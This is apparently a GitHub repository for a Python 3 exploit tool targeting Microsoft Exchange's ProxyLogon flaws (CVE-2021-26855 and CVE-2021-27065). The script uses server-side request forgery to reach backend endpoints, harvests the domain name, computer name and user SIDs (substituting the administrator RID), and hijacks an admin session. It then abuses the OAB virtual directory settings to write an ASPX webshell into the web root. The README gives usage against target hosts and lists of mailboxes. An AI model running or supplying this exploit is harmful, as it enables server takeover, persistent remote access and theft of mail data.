├── ProxyLogon.py ├── README.md └── gif.gif /ProxyLogon.py: -------------------------------------------------------------------------------- 1 | # -*- encoding: utf-8 -*- 2 | ''' 3 | ------------------------------------------------------- 4 | @File : ProxyLogon.py 5 | @Time : 2021/03/13 21:13:01 6 | @Version : 1.0.0 7 | @License : 8 | @Desc : 9 | @Author : p0wershe11, RGDZ 10 | ------------------------------------------------------- 11 | ''' 12 | 13 | 14 | 15 | from random import Random, randint, random 16 | import re 17 | import string 18 | import sys 19 | import json 20 | import requests 21 | from urllib.parse import urlencode 22 | from struct import unpack 23 | from base64 import b64encode, b64decode 24 | 25 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 26 | 27 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 28 | 29 | 30 | class IOFlow(str): 31 | 32 | def __init__(self) -> None: 33 | super().__init__() 34 | self._cout = sys.stdout 35 | 36 | def _write(self, s:str): 37 | self.cout.write(s) 38 | 39 | def __lshift__(self, s: str)->int: 40 | return self._cout.write(s) 41 | 42 | endl = "\n" 43 | cout = IOFlow() 44 | 45 | class Color: 46 | START = "\033[" 47 | END = START+"0m" 48 | 49 | 50 | C_RED = START+"31m" 51 | C_GREEN = START+"32m" 52 | C_YELLOW = START+"33m" 53 | C_BLUE = START+"34m" 54 | 55 | # RANDOM_COLOR = random.choice() 56 | 57 | class Color(Color): 58 | ALL_COLOR = {k:v for k, v in Color.__dict__.items() if "C_" in k} 59 | _COLOR_S = lambda color, s: color+s+Color.END 60 | 61 | class Color(Color): 62 | 63 | RED_S = lambda s: Color._COLOR_S(Color.C_RED, s) 64 | GREEN_S = lambda s: Color._COLOR_S(Color.C_GREEN, s) 65 | YELLOW_S = lambda s: Color._COLOR_S(Color.C_YELLOW, s) 66 | BLUE_S = lambda s: Color._COLOR_S(Color.C_BLUE, s) 67 | 68 | class Log: 69 | BASE_SYM = lambda sym: f"{sym}" 70 | TEMPLATE = lambda sym, msg: cout << f"{sym}:{msg}\n" 71 | 72 | class Log(Log): 73 | INFO_SYM = Log.BASE_SYM(Color.BLUE_S("[*]")) 74 | WARING_SYM = Log.BASE_SYM(Color.YELLOW_S("[!]")) 75 | SUCCESS_SYM = Log.BASE_SYM(Color.GREEN_S("[+]")) 76 | 77 | class Log(Log): 78 | info = lambda msg: Log.TEMPLATE(Log.INFO_SYM, msg) 79 | waring = lambda msg: Log.TEMPLATE(Log.WARING_SYM, msg) 80 | success = lambda msg: Log.TEMPLATE(Log.SUCCESS_SYM, msg) 81 | 82 | 83 | ARGS = [dict(v) for v in [zip(v.split("=")[0::2], v.split("=")[1::2]) for v in sys.argv[1:]]] 84 | 85 | 86 | check_argv = lambda arg: arg in sys.argv 87 | 88 | 89 | 90 | HOST = "" 91 | MAIL = "" 92 | MAILS = "" 93 | LOCAL_NAME = "" 94 | 95 | ascii_letters = string.ascii_letters 96 | SHELL_NAME = "".join(ascii_letters[randint(0, len(ascii_letters)-1)] for i in range(10)) 97 | FILE_PATH = f'C:\\inetpub\\wwwroot\\aspnet_client\\{SHELL_NAME}.aspx' 98 | FILE_DATA = '' 99 | 100 | 101 | def _unpack_str(byte_string): 102 | return byte_string.decode('UTF-8').replace('\x00', '') 103 | 104 | def _unpack_int(format, data): 105 | return unpack(format, data)[0] 106 | 107 | 108 | def exploit(path, qs='', data='', cookies=[], headers={}): 109 | global HOST, LOCAL_NAME 110 | 111 | cookies = list(cookies) 112 | cookies.extend([f"X-BEResource=a]@{LOCAL_NAME}:444{path}?{qs}#~1941962753"]) 113 | if not headers: 114 | headers = { 115 | 'Content-Type': 'application/json' 116 | } 117 | headers['Cookie'] = ';'.join(cookies) 118 | headers['msExchLogonMailbox'] = 'S-1-5-20' 119 | 120 | url = f"https://{HOST}/ecp/y.js" 121 | resp = requests.post(url, headers=headers, data=data, verify=False, allow_redirects=False) 122 | return resp 123 | 124 | def parse_challenge(auth): 125 | target_info_field = auth[40:48] 126 | target_info_len = _unpack_int('H', target_info_field[0:2]) 127 | target_info_offset = _unpack_int('I', target_info_field[4:8]) 128 | 129 | target_info_bytes = auth[target_info_offset:target_info_offset+target_info_len] 130 | 131 | domain_name = '' 132 | computer_name = '' 133 | info_offset = 0 134 | while info_offset < len(target_info_bytes): 135 | av_id = _unpack_int('H', target_info_bytes[info_offset:info_offset+2]) 136 | av_len = _unpack_int('H', target_info_bytes[info_offset+2:info_offset+4]) 137 | av_value = target_info_bytes[info_offset+4:info_offset+4+av_len] 138 | 139 | info_offset = info_offset + 4 + av_len 140 | if av_id == 2: # MsvAvDnsDomainName 141 | domain_name = _unpack_str(av_value) 142 | elif av_id == 3: # MsvAvDnsComputerName 143 | computer_name = _unpack_str(av_value) 144 | return domain_name, computer_name 145 | 146 | def get_local_name(): 147 | global LOCAL_NAME 148 | Log.info("Getting ComputerName and DomainName.") 149 | ntlm_type1 = ( 150 | b'NTLMSSP\x00' # NTLMSSp Signature 151 | b'\x01\x00\x00\x00' # Message Type 152 | b'\x97\x82\x08\xe2' # Flags 153 | b'\x00\x00\x00\x00\x00\x00\x00\x00' # Domain String 154 | b'\x00\x00\x00\x00\x00\x00\x00\x00' # Workstation String 155 | b'\x0a\x00\xba\x47\x00\x00\x00\x0f' # OS Version 156 | ) 157 | headers = { 158 | 'Authorization': f'Negotiate {b64encode(ntlm_type1).decode()}' 159 | } 160 | # print(headers) 161 | # assert False 162 | r = requests.get(f'https://{HOST}/rpc/', headers=headers, verify=False) 163 | assert r.status_code == 401, "Error while getting ComputerName" 164 | auth_header = r.headers['WWW-Authenticate'] 165 | auth = re.search('Negotiate ([A-Za-z0-9/+=]+)', auth_header).group(1) 166 | domain_name, computer_name = parse_challenge(b64decode(auth)) 167 | if not domain_name: 168 | Log.waring("DomainName not found.") 169 | return exit(0) 170 | if not computer_name: 171 | Log.waring("ComputerName not found") 172 | return exit(0) 173 | Log.info(f"Domain Name = {domain_name}") 174 | Log.info(f"Computer Name = {computer_name}") 175 | LOCAL_NAME = computer_name 176 | 177 | 178 | def get_sid(mail): 179 | payload = f''' 180 | 181 | 182 | {mail} 183 | http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a 184 | 185 | 186 | ''' 187 | headers = { 188 | 'User-Agent': 'ExchangeServicesClient/0.0.0.0', 189 | 'Content-Type': 'text/xml' 190 | } 191 | resp = exploit('/autodiscover/autodiscover.xml', qs='', data=payload, headers=headers) 192 | res = re.search('(.*?)', resp.text) 193 | if not res: 194 | Log.waring("LegacyDN not found!") 195 | return 196 | 197 | headers = { 198 | 'X-Clientapplication': 'Outlook/15.0.4815.1002', 199 | 'X-Requestid': 'x', 200 | 'X-Requesttype': 'Connect', 201 | 'Content-Type': 'application/mapi-http', 202 | } 203 | legacyDN = res.group(1) 204 | payload = legacyDN + '\x00\x00\x00\x00\x00\x20\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00' 205 | r = exploit('/mapi/emsmdb/', qs='', data=payload, headers=headers) 206 | result = re.search('with SID ([S\-0-9]+) ', r.text) 207 | if not result: 208 | Log.waring(f"Not Found user: {mail}") 209 | return None 210 | sid = result.group(1) 211 | Log.info(f"sid:{sid}") 212 | if "500" not in sid.split("-"): 213 | Log.waring("500 not in sid.") 214 | sid = "-".join(sid.split("-")[:-1]+["500"]) 215 | Log.info(f"add -500, sid:{sid}") 216 | return sid 217 | 218 | 219 | 220 | 221 | def exp(mail_name, sid): 222 | payload = f'{sid}' 223 | resp = exploit('/ecp/proxyLogon.ecp', qs='', data=payload) 224 | Log.waring(f"Login status code:{resp.status_code}") 225 | 226 | session_id = resp.cookies.get('ASP.NET_SessionId') 227 | canary = resp.cookies.get('msExchEcpCanary') 228 | Log.info(f'get ASP.NET_SessionId = {session_id}') 229 | Log.info(f"get msExchEcpCanary = {canary}") 230 | 231 | extra_cookies = [ 232 | 'ASP.NET_SessionId='+session_id, 233 | 'msExchEcpCanary='+canary 234 | ] 235 | qs = urlencode({ 236 | 'schema': 'OABVirtualDirectory', 237 | 'msExchEcpCanary': canary 238 | }) 239 | r = exploit('/ecp/DDI/DDIService.svc/GetObject', qs=qs, data='', cookies=extra_cookies) 240 | identity = r.json()['d']['Output'][0]['Identity'] 241 | Log.info(f"OAB Name = f{identity['DisplayName']}") 242 | Log.info(f"OAB ID = {identity['RawIdentity']}") 243 | 244 | # Set-OABVirtualDirectory 245 | Log.info("Setting up webshell payload through OAB") 246 | qs = urlencode({ 247 | 'schema': 'OABVirtualDirectory', 248 | 'msExchEcpCanary': canary 249 | }) 250 | payload = json.dumps({ 251 | 'identity': { 252 | '__type': 'Identity:ECP', 253 | 'DisplayName': identity['DisplayName'], 254 | 'RawIdentity': identity['RawIdentity'] 255 | }, 256 | 'properties': { 257 | 'Parameters': { 258 | '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', 259 | 'ExternalUrl': 'http://f/' + FILE_DATA 260 | } 261 | } 262 | }) 263 | r = exploit('/ecp/DDI/DDIService.svc/SetObject', qs=qs, data=payload, cookies=extra_cookies) 264 | assert r.status_code == 200, 'Error while setting up webshell payload' 265 | Log.success("Setting up webshell payload OK!") 266 | 267 | # save file 268 | Log.info("Writing shell...") 269 | qs = urlencode({ 270 | 'schema': 'ResetOABVirtualDirectory', 271 | 'msExchEcpCanary': canary 272 | }) 273 | payload = json.dumps({ 274 | 'identity': { 275 | '__type': 'Identity:ECP', 276 | 'DisplayName': identity['DisplayName'], 277 | 'RawIdentity': identity['RawIdentity'] 278 | }, 279 | 'properties': { 280 | 'Parameters': { 281 | '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', 282 | 'FilePathName': FILE_PATH 283 | } 284 | } 285 | }) 286 | resp = exploit('/ecp/DDI/DDIService.svc/SetObject', qs=qs, data=payload, cookies=extra_cookies) 287 | if resp.status_code != 200: 288 | Log.waring(f"Error while writing shell, status code is {resp.status_code}") 289 | return 290 | 291 | 292 | Log.info("Cleaning OAB...") 293 | qs = urlencode({ 294 | 'schema': 'OABVirtualDirectory', 295 | 'msExchEcpCanary': canary 296 | }) 297 | payload = json.dumps({ 298 | 'identity': { 299 | '__type': 'Identity:ECP', 300 | 'DisplayName': identity['DisplayName'], 301 | 'RawIdentity': identity['RawIdentity'] 302 | }, 303 | 'properties': { 304 | 'Parameters': { 305 | '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', 306 | 'ExternalUrl': '' 307 | } 308 | } 309 | }) 310 | resp = exploit('/ecp/DDI/DDIService.svc/SetObject', qs=qs, data=payload, cookies=extra_cookies) 311 | Log.info(f"resp:{resp.status_code}") 312 | Log.success(f"shell: https://{HOST}/aspnet_client/{SHELL_NAME}.aspx") 313 | 314 | 315 | 316 | def run(runner): 317 | global HOST, MAILS 318 | f = open(MAILS) 319 | try: 320 | while True: 321 | mail = next(f)[:-1] 322 | return runner(mail) 323 | except: 324 | Log.waring("mails file has been read.") 325 | 326 | def runner(mail): 327 | get_local_name() 328 | sid = get_sid(mail) 329 | if not sid: 330 | return 331 | return exp(mail.split('@')[0], sid) 332 | 333 | def main(): 334 | global HOST, MAILS, MAIL, ARGS 335 | args = {} 336 | for v in ARGS: 337 | args.update(v) 338 | 339 | HOST = args.get("--host") 340 | if not HOST: 341 | return help() 342 | 343 | MAIL=args.get("--mail") 344 | if MAIL: 345 | return runner(MAIL) 346 | 347 | MAILS=args.get("--mails") 348 | if MAILS: 349 | return run(runner) 350 | 351 | def help(): 352 | cout << f"""usage: 353 | python {__file__} --host=exchange.com --mail=admin@exchange.com 354 | python {__file__} --host=exchange.com --mails=./mails.txt 355 | args: 356 | --host: target's address. 357 | --mail: exists user's mail. 358 | --mails: mails file. 359 | """ 360 | cout << endl 361 | 362 | def Logo(): 363 | return ''' 364 | ============================================================= 365 | 366 | ___ _ 367 | | . \ _ _ ___ __ _ _ | | ___ ___ ___ ._ _ 368 | | _/| '_>/ . \\ \/| | || |_ / . \/ . |/ . \| ' | 369 | |_| |_| \___//\_\`_. ||___|\___/\_. |\___/|_|_| 370 | <___' <___' 371 | 372 | author: p0wershe11,RGDZ 373 | ============================================================= 374 | ''' 375 | 376 | 377 | if __name__ == "__main__": 378 | cout << Logo() 379 | main() -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ProxyLogon For Python3 2 | ProxyLogon(CVE-2021-26855+CVE-2021-27065) Exchange Server RCE(SSRF->GetWebShell) 3 | ```python 4 | usage: 5 | python ProxyLogon.py --host=exchange.com --mail=admin@exchange.com 6 | python ProxyLogon.py --host=exchange.com --mails=./mails.txt 7 | args: 8 | --host: target's address. 9 | --mail: exists user's mail. 10 | --mails: mails file. 11 | ``` 12 | 13 | ![](https://github.com/p0wershe11/ProxyLogon/blob/main/gif.gif) 14 | -------------------------------------------------------------------------------- /gif.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0wershe11/ProxyLogon/7b2fe1efd5860df811215c7518a148a4fc49f7e9/gif.gif --------------------------------------------------------------------------------